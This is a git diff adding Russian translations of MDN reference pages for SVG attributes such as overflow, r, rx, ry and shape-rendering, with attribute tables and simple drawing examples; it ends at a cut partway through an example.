--- /dev/null
+++ b/files/ru/web/svg/attribute/lighting-color/index.html
@@ -0,0 +1,50 @@
+---
+title: lighting-color
+slug: Web/SVG/Attribute/lighting-color
+tags:
+  - SVG
+  - SVG атрибуты
+  - SVG фильтры
+translation_of: Web/SVG/Attribute/lighting-color
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Атрибут <code>lighting-color</code> определяет цвет источника света для примитивов фильтров  {{ SVGElement("feDiffuseLighting") }} и {{ SVGElement("feSpecularLighting") }}.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>currentColor | <a href="/en/SVG/Content_type#Color" title="en/SVG/Content_type#Color">&lt;color&gt;</a> | <a href="/en/SVG/Content_type#ICCColor" title="en/SVG/Content_type#ICCColor">&lt;icccolor&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Начальное значение</th>
+   <td>white</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#LightingColorProperty" title="http://www.w3.org/TR/SVG11/filters.html#LightingColorProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут  <code>lighting-color</code></p>
+
+<ul>
+ <li>{{ SVGElement("feDiffuseLighting") }}</li>
+ <li>{{ SVGElement("feSpecularLighting") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/onload/index.html b/files/ru/web/svg/attribute/onload/index.html
new file mode 100644
index 0000000000..b6a5d49ea2
--- /dev/null
+++ b/files/ru/web/svg/attribute/onload/index.html
@@ -0,0 +1,5 @@
+---
+title: onload
+slug: Web/SVG/Attribute/onload
+---
+<p>Link not exist</p>
diff --git a/files/ru/web/svg/attribute/overflow/index.html b/files/ru/web/svg/attribute/overflow/index.html
new file mode 100644
index 0000000000..46449f0919
--- /dev/null
+++ b/files/ru/web/svg/attribute/overflow/index.html
@@ -0,0 +1,67 @@
+---
+title: overflow
+slug: Web/SVG/Attribute/overflow
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/overflow
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Атрибут <code>overflow</code> имеет те же значения, что определены для {{ cssxref("overflow","CSS-свойства overflow") }}. Но имеют место также следующие дополнительные моменты:</p>
+
+<ul>
+ <li>Атрибут <code>overflow</code> применяется к элементам, которые устанавливают новый порт просмотра (см. ниже), элементам{{ SVGElement("pattern") }} и {{ SVGElement("marker") }}, на все прочие элементы он не влияет.</li>
+ <li>Для элементов, к которым атрибут <code>overflow</code> может применяться, если он имеет значение <code>hidden</code> или <code>scroll</code>, результатом будет создание нового пути обрезки прямоугольной формы. Это эквивалентно определению элемента {{ SVGElement("clipPath") }}, содержимое которого есть элемент {{ SVGElement("rect") }}, который определяет эквивалентный прямоугольник, и затем указанию &lt;url&gt; этого элемента {{ SVGElement("clipPath") }} равным значению атрибута {{ SVGAttr("clip-path") }} для данного элемента.</li>
+ <li>Если атрибут <code>overflow</code> имеет значение, отличное от <code>hidden</code> или <code>scroll</code>, он не оказывает действия.</li>
+ <li>Внутри SVG-содержимого значение <code>auto</code> эквивалентно значению <code>visible</code>.</li>
+ <li>Когда svg-элемент высшего уровня включён в HTML-код, если атрибут <code>overflow</code> имеет значение <code>hidden</code> или <code>scroll</code>, браузер установит первоначальный путь обрезки равным границам первоначального порта просмотра; иначе первоначальный порт просмотра задаётся соответственно CSS-правилам обрезки.</li>
+ <li>Когда svg-элемент высшего уровня автономен, атрибут <code>overflow</code> на нём игнорируется в том, что касается отрисовки, а первоначальный путь обрезки устанавливается по границам первоначального порта просмотра.</li>
+ <li>Первоначальное значение <code>overflow</code>, как определено вn CSS, есть <code>visible</code>, и это применяется также к корневому элементу {{ SVGElement("svg") }}; но для дочерних элементов SVG-документа браузерные стили SVG перекрывают это первоначальное значение и задают атрибуту <code>overflow</code> элементов, устанавливающих новый порт просмотра, элементов <code>pattern</code> и <code>marker</code> значение <code>hidden</code>.</li>
+</ul>
+
+<p>Будучи презентационным этот атрибут может также быть использован как свойство прямо в CSS-стилях, подробнее см. {{ cssxref("overflow","CSS overflow") }}.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>Презентационный атрибут</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>visible | hidden | scroll | auto | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#OverflowProperty" title="http://www.w3.org/TR/SVG11/masking.html#OverflowProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>overflow</code></p>
+
+<ul>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("symbol") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("marker") }}</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ cssxref("overflow","CSS overflow") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html
new file mode 100644
index 0000000000..a47a9e4480
--- /dev/null
+++ b/files/ru/web/svg/attribute/patterncontentunits/index.html
@@ -0,0 +1,52 @@
+---
+title: patternContentUnits
+slug: Web/SVG/Attribute/patternContentUnits
+translation_of: Web/SVG/Attribute/patternContentUnits
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Атрибут <code>patternContentUnits</code> определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметье, что этот аттрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определен на {{ SVGElement("pattern") }} элементе.</p>
+
+<p>Если <code>patternContentUnits</code> аттрибут не определен, то его значение предполагается равным <code>userSpaceOnUse</code>.</p>
+
+<p>Заметье, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах аттрибуты контента . Это означает, что, если вы задаете значение <code>patternContentUnits</code> равным <code>objectBoundingBox</code>, значения, указанные в процентах, будут пересчитаны, как если бы вы задали <code>userSpaceOnUse</code>.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td><em>None</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td><code>userSpaceOnUse</code> | <code><strong>objectBoundingBox</strong></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElementPatternContentUnitsAttribute" title="http://www.w3.org/TR/SVG11/pservers.html#PatternElementPatternContentUnitsAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>userSpaceOnUse</dt>
+ <dd>Пользовательская система координат {{ SVGElement("pattern") }} element is the coordinate system that results from taking the current user coordinate system in place at the time when the {{ SVGElement("pattern") }} element is referenced (i.e., the user coordinate system for the element referencing the {{ SVGElement("pattern") }} element via a {{ SVGAttr("fill") }} or {{ SVGAttr("stroke") }} attribute) and then applying the transform specified by attribute {{ SVGAttr("patternTransform") }}.</dd>
+ <dt>objectBoundingBox</dt>
+ <dd>Пользовательская система координат для содержимого {{ SVGElement("pattern") }} элемента is established using the bounding box of the element to which the pattern is applied and then applying the transform specified by attribute {{ SVGAttr("patternTransform") }}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Атрибут <code>patternContentUnits</code> может быть определен на следующих элементах:</p>
+
+<ul>
+ <li>{{ SVGElement("pattern") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html
new file mode 100644
index 0000000000..1f92d75024
--- /dev/null
+++ b/files/ru/web/svg/attribute/r/index.html
@@ -0,0 +1,129 @@
+---
+title: r
+slug: Web/SVG/Attribute/r
+translation_of: Web/SVG/Attribute/r
+---
+<div>{{SVGRef}}</div>
+
+<div>Атрибут r устанавливает значение радиуса круга.</div>
+
+<div> </div>
+
+<p>Этот атрибут используют два элемента: {{SVGElement("circle")}}, и {{SVGElement("radialGradient")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;radialGradient r="0" id="myGradient000"&gt;
+    &lt;stop offset="0"    stop-color="white" /&gt;
+    &lt;stop offset="100%" stop-color="black" /&gt;
+  &lt;/radialGradient&gt;
+  &lt;radialGradient r="50%" id="myGradient050"&gt;
+    &lt;stop offset="0"    stop-color="white" /&gt;
+    &lt;stop offset="100%" stop-color="black" /&gt;
+  &lt;/radialGradient&gt;
+  &lt;radialGradient r="100%" id="myGradient100"&gt;
+    &lt;stop offset="0"    stop-color="white" /&gt;
+    &lt;stop offset="100%" stop-color="black" /&gt;
+  &lt;/radialGradient&gt;
+
+  &lt;circle cx="50"  cy="50" r="0"/&gt;
+  &lt;circle cx="150" cy="50" r="25"/&gt;
+  &lt;circle cx="250" cy="50" r="50"/&gt;
+
+  &lt;rect x="20"  y="120" width="60" height="60" fill="url(#myGradient000)" /&gt;
+  &lt;rect x="120" y="120" width="60" height="60" fill="url(#myGradient050)" /&gt;
+  &lt;rect x="220" y="120" width="60" height="60" fill="url(#myGradient100)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="circle">circle</h2>
+
+<p>Для {{SVGElement('circle')}}, <code>r</code> устанавливает радиус окружности и, следовательно, её размер. При значении, меньшем или равном нулю, круг не будет нарисован.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong>| <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">
+    <p dir="ltr">Значение по умолчанию</p>
+   </th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемость</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с SVG2, <strong>r</strong> является свойством геометрии, означающим, что этот атрибут также может использоваться как CSS-свойство для кругов.</p>
+
+<h2 id="radialGradient">radialGradient</h2>
+
+<p>Для {{ SVGElement("radialGradient") }}, <code>r</code> устанавливает радиус конечной окружности радиального градиента.</p>
+
+<p>Градиент будет нарисован таким образом, чтобы  <strong>100%</strong> конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведет к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента  {{ SVGElement("stop") }}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемость</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#R", "r")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>
+    <p dir="ltr" id="tw-target-text">Определение как свойство геометрии</p>
+
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "pservers.html#RadialGradientElementRAttribute", "r")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Определение для SVG2 серверов рисования <code>&lt;radialGradient&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "pservers.html#RadialGradientElementRAttribute", "r")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Исходное определение для <code>&lt;radialGradient&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#CircleElementRAttribute", "r")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Исходное определение для <code>&lt;circle&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html
new file mode 100644
index 0000000000..ad584e3305
--- /dev/null
+++ b/files/ru/web/svg/attribute/repeatcount/index.html
@@ -0,0 +1,47 @@
+---
+title: repeatCount
+slug: Web/SVG/Attribute/repeatCount
+translation_of: Web/SVG/Attribute/repeatCount
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Данный атрибут задает, сколько раз должна выполняться анимация.</p>
+
+<p>Значение атрибута определяет количество итераций. Принимаются числа с плавающей точкой, которые интерпретируются как доля итерации. Значение должно быть больше нуля.</p>
+
+<p>Возможно также определить бесконечную зацикленную анимацию с помощью ключевого слова "indefinite".</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут времени анимации</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/en/SVG/Content_type#Number" title="https://developer.mozilla.org/en/SVG/Content_type#Number">&lt;number&gt;</a> | "indefinite"</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Ссылка на стандарт</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#RepeatCountAttribute" title="http://www.w3.org/TR/SVG/animate.html#RepeatCountAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/en/SVG/Content_type","Number") }}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Данные элементы могут использовать атрибут <font face="Consolas, Liberation Mono, Courier, monospace">repeatCount</font></p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html
new file mode 100644
index 0000000000..78f0ab86e0
--- /dev/null
+++ b/files/ru/web/svg/attribute/rx/index.html
@@ -0,0 +1,115 @@
+---
+title: rx
+slug: Web/SVG/Attribute/rx
+tags:
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/rx
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>rx</code></strong> определяет радиус круга по оси x.</p>
+
+<p>Два элемента используют этот атрибут: {{SVGElement("ellipse")}} и {{SVGElement("rect")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;ellipse cx="50"  cy="50" rx="0"  ry="25" /&gt;
+  &lt;ellipse cx="150" cy="50" rx="25" ry="25" /&gt;
+  &lt;ellipse cx="250" cy="50" rx="50" ry="25" /&gt;
+
+  &lt;rect x="20"  y="120" width="60" height="60" rx="0"   ry="15"/&gt;
+  &lt;rect x="120" y="120" width="60" height="60" rx="15"  ry="15"/&gt;
+  &lt;rect x="220" y="120" width="60" height="60" rx="150" ry="15"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="ellipse">ellipse</h2>
+
+<p>Для элемента {{SVGElement('ellipse')}} rx определяет радиус фигуры по оси x. Если значение меньше или равно 0, эллипс не будет нарисован вообще.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong> | <code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание. </strong>Начиная с <strong>SVG2</strong>, <strong>rx</strong> - <em>свойство геометрии(Geometry Property). </em>Это означает, что атрибут также можно использовать как свойство CSS для эллипсов.</p>
+
+<h2 id="rect">rect</h2>
+
+<p>Для {{SVGElement('rect')}}, <code>rx</code> определяет радиус эллипса по оси x, используется для скругления углов прямоугольника.</p>
+
+<p>Способ интерпретации значения атрибута <code>rx</code> зависит как от атрибута {{SVGAttr("ry")}} , так и от ширины прямоугольника:</p>
+
+<ul>
+ <li>Если правильно задано значение для <code>rx</code>, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li>
+ <li>Если ни <code>rx</code>, ни {{SVGAttr("ry")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li>
+ <li>Если <code>rx</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>rx</code> половиной ширины прямоугольника.</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong> | <code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание. </strong>Начиная с <strong>SVG2</strong>, <strong>rx</strong> - <em>свойство геометрии(Geometry Property). </em>Это означает, что атрибут также можно использовать как свойство CSS для rect.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#RX", "rx")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Определяется как свойство геометрии</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#EllipseElementRXAttribute", "rx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>
+    <p>Начальное определение для <span style='background-color: rgba(220, 220, 220, 0.5); font-family: consolas,"Liberation Mono",courier,monospace; font-size: 1rem; font-style: inherit; font-weight: inherit; letter-spacing: -0.00278rem;'>&lt;ellipse&gt;</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#RectElementRXAttribute", "rx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение для <code>&lt;rect&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html
new file mode 100644
index 0000000000..f0b87c7a46
--- /dev/null
+++ b/files/ru/web/svg/attribute/ry/index.html
@@ -0,0 +1,113 @@
+---
+title: ry
+slug: Web/SVG/Attribute/ry
+tags:
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/ry
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>ry</code></strong> определяет радиус круга по оси y.</p>
+
+<p>Два элемента используют этот атрибут: <a href="https://developer.mozilla.org/ru/docs/Web/SVG/Element/ellipse" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>&lt;ellipse&gt;</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/SVG/Element/rect" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>&lt;rect&gt;</code></a></p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;ellipse cx="50"  cy="50" ry="0"  rx="25" /&gt;
+  &lt;ellipse cx="150" cy="50" ry="25" rx="25" /&gt;
+  &lt;ellipse cx="250" cy="50" ry="50" rx="25" /&gt;
+
+  &lt;rect x="20"  y="120" width="60" height="60" ry="0"   rx="15"/&gt;
+  &lt;rect x="120" y="120" width="60" height="60" ry="15"  rx="15"/&gt;
+  &lt;rect x="220" y="120" width="60" height="60" ry="150" rx="15"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="ellipse">ellipse</h2>
+
+<p>Для элемента {{SVGElement('ellipse')}}, <code>ry</code> определяет радиус фигуры по оси y. Если значение меньше или равно 0, эллипс не будет нарисован вообще.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong> | <code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание. </strong>Начиная с <strong>SVG2</strong>, <strong>ry</strong> - <em>свойство геометрии(Geometry Property). </em>Это означает, что атрибут также можно использовать как свойство CSS для эллипсов.</p>
+
+<h2 id="rect">rect</h2>
+
+<p>Для {{SVGElement('rect')}}, <code>ry</code> определяет радиус эллипса по оси x, используется для скругления углов прямоугольника.</p>
+
+<p>Способ интерпретации значения атрибута <code>ry</code> зависит как от атрибута {{SVGAttr("rx")}} , так и от ширины прямоугольника:</p>
+
+<ul>
+ <li>Если правильно задано значение для <code>ry</code>, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li>
+ <li>Если ни <code>ry</code>, ни {{SVGAttr("rx")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li>
+ <li>Если <code>ry</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>ry</code> половиной ширины прямоугольника.</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong> | <code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание. </strong>Начиная с <strong>SVG2</strong>, <strong>ry</strong> - <em>свойство геометрии(Geometry Property). </em>Это означает, что атрибут также можно использовать как свойство CSS для rect.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#RY", "ry")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Определяется как свойство геометрии</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#EllipseElementRYAttribute", "ry")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение для <code>&lt;ellipse&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#RectElementRYAttribute", "ry")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение для <code>&lt;rect&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html
new file mode 100644
index 0000000000..d36ed47bef
--- /dev/null
+++ b/files/ru/web/svg/attribute/shape-rendering/index.html
@@ -0,0 +1,79 @@
+---
+title: shape-rendering
+slug: Web/SVG/Attribute/shape-rendering
+translation_of: Web/SVG/Attribute/shape-rendering
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="/ru/docs/Web/SVG/Attribute">Справочник SVG атрибутов</a></p>
+
+<p>При создание SVG есть возможность указать браузеру о том, как рекомендуется рендерить (отрисовывать) элементы {{ SVGElement("path") }} или базовые фигуры. <code>shape-rendering</code> предоставляет возможность указывать даные рекомендации.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значения</th>
+   <td><strong title="this is the default value">auto</strong> | optimizeSpeed | crispEdges | geometricPrecision | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#ShapeRenderingProperty" title="http://www.w3.org/TR/SVG11/painting.html#ShapeRenderingProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>auto</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> <span class="hps">внести соответствующие</span> <span class="hps">компромиссы</span><span>, чтобы сбалансировать</span> <span class="hps">скорость рендеринга,</span> <span class="hps">четкие края</span> <span class="hps">и</span> <span class="hps">геометрическую</span> <span class="hps">точность</span><span>, но </span><span class="hps">геометрической точности</span> <span class="hps">уделять более пристальное внимание</span><span>, чем</span> <span class="hps">скорости и</span> <span class="hps">четким краями</span><span>.</span></span></dd>
+ <dt>optimizeSpeed</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен</span> акцентироваться на <span class="hps">скорость рендеринга, в ущерб</span> <span class="hps">геометрической</span> <span class="hps">точности и</span> <span class="hps">четким краями</span><span>.</span> <span class="hps">Эту опцию</span> также можно<span class="hps"> указывать,</span><span>, чтобы отключить</span> <span class="hps">сглаживание фигур</span><span>.</span></span></dd>
+ <dt>crispEdges</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен попытаться</span> акцентировать <span class="hps">на контрасте</span> <span class="hps">чистых</span> <span class="hps">краев</span> рисунков, в ущерб<span class="hps"> скорости</span> <span class="hps">рендеринга</span> <span class="hps">и геометрической</span> <span class="hps">точности.</span> <span class="hps">Для достижения</span> наилучшего результата четкости<span class="hps"> края</span><span>, браузер</span><span class="hps"> может</span> <span class="hps">отключить</span> <span class="hps">сглаживание для</span> <span class="hps">всех</span> <span class="hps">линий и кривых</span> <span class="hps">или, возможно,</span> <span class="hps">только для</span> <span class="hps">прямых</span><span>, близких к</span> <span class="hps">вертикальным или горизонтальным.</span> <span class="hps">Кроме того,</span> <span class="hps">браузер может</span> <span class="hps">скорректировать позиции</span> <span class="hps">строк и</span> <span class="hps">ширину линий</span> <span class="hps">для выравнивания</span> <span class="hps">краев</span> <span class="hps">с</span> <span class="hps">пикселями устройства</span><span>.</span></span></dd>
+ <dt>geometricPrecision</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> акцентировать <span class="hps">геометрическую</span> <span class="hps">точность в ущерб</span> <span class="hps">скорости и</span> <span class="hps">четкими краям</span></span>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg"
